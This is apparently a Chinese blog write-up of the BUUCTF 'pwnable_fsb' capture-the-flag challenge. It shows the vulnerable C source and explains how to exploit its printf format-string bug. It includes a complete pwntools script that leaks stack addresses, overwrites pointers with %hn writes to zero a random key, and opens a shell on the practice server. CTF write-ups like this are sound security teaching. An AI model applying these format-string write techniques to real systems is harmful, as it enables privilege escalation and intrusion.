[BUUCTF-pwn] pwnable_fsb

首先是一个小坑,坑人的坑。题目给的32位no PIE的程序与远程上的不同,远程是64位开PIE。

程序先作了一个抬栈,然后可以输入4次printf,再输入key相同则给出shell (远程有原码,很容易看)

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
        char* args[]={"/bin/sh", 0};
        int i;

        char*** pargv = &argv;
        char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        *pargv=0;
        *penvp=0;

        for(i=0; i<4; i++){
                printf("Give me some format strings(%d)\n", i+1);
                read(0, buf, 100);
                printf(buf);
        }

        printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                setuid(0);
                setgid(0);
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
        return 0;
}

int main(int argc, char* argv[], char** envp){

        int fd = open("/dev/urandom", O_RDONLY);
        if( fd==-1 || read(fd, &key, 8) != 8 ){
                printf("Error, tell admin\n");
                return 0;
        }
        close(fd);

        alloca(0x12345 & key);

        fsb(argv, envp); // exploit this format string bug!
        return 0;
}

解题思路:

  1. 这个先找到一个栈内地址偏移9-12都是,这里选11。
  2. 由于程序通过随机抬栈要找main后边的栈链就需要确定偏移,这里用18:rbp来计算后部的偏移量。
  3. ret地址与key地址差3字节,在后边找两个链同时处理一个改为指向ret一个改为ret+2
  4. 将ret修改为key然后将key改为0

完整exp:

from pwn import *

local = 0
if local == 1:
    p = process('./fsb')
else:
    shell = ssh(host='node4.buuoj.cn', port=28319, user='fsb', password='guest')
    p = shell.process('./fsb')

libc_elf = ELF('../buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830

elf = ELF('./fsb')
context.arch = 'amd64'
context.log_level = 'debug'


'''
0x00007fffb7727628│+0x0030: 0x00007fffb7727608  →  0x0000000000000000           #11
0x00007ffde04074e0│+0x0068: 0x00007ffde0409540  →  0x0000563d9fd9bc30  →  <__libc_csu_init+0> push r15	 ← $rbp  #18
0x00007ffde04074e8│+0x0070: 0x0000563d9fd9bc0e  →  <main+198> mov eax, 0x0                                       #19
#两个链
0x00007ffde0409558│+0x0018: 0x00007ffde0409628  →  0x00007ffde040b41f  →  0x0000000000000000
0x00007ffde04095c8│+0x0088: 0x00007ffde0409638  →  0x00007ffde040b425  →  0x0000000000000000
'''
#p.sendlineafter(b'1)\n', b'%p-'*20)
#b'0x5590f12520e0-0x64-0x7f13598b6142-(nil)-0x1f-(nil)-(nil)-(nil)-0x7ffce22d32d0-0x7ffce22d4ff1-0x7ffce22c0d48-0x7ffce22c0d40-(nil)-0x5590f1050cb8-(nil)-(nil)-0xace052eb1c47d900-0x7ffce22d3040-0x5590f1050c0e-(nil)-\n'
#1
p.sendlineafter(b')\n', b'%11$p,%18$p,%19$p,')
b11 = int(p.recvuntil(b',', drop=True), 16)
b18 = int(p.recvuntil(b',', drop=True), 16)
b19 = int(p.recvuntil(b',', drop=True), 16)
key = b19 - 0xc0e + 0x202040

offset = (b18 - b11)//8 +7
off_n1 = offset+3
off_n2 = offset+17
off_p1 = off_n1 + 26
off_p2 = off_n2 + 14
#p.sendlineafter(b')\n', f'%{off_n1}$p,%{off_n2}$p,%{off_p1}$p,%{off_p2}$p,'.encode())
#p.recv()

#2
ptr_1 = (b11+0x60)&0xffff
ptr_2 = (b11+0x60+2)&0xffff
p.sendlineafter(b')\n', f'%{ptr_1}c%{off_n1}$hn%2c%{off_n2}$hnAAAA'.encode())
p.recvuntil(b'AAAA')

#3
key_12 = key & 0xffff
key_3  = (key & 0xff0000) >>16
p.sendlineafter(b')\n', f'%{key_3}c%{off_p2}$hhn%{key_12 - key_3}c%{off_p1}$hnAAAA'.encode())
p.recvuntil(b'AAAA')

#4
p.sendlineafter(b'4)\n', b'%19$llnAAAA')
p.recvuntil(b'AAAA')

#key
p.sendlineafter(b"key : \n", b'0')

#gdb.attach(p)
#pause()

p.sendline(b'cat flag.txt')
p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值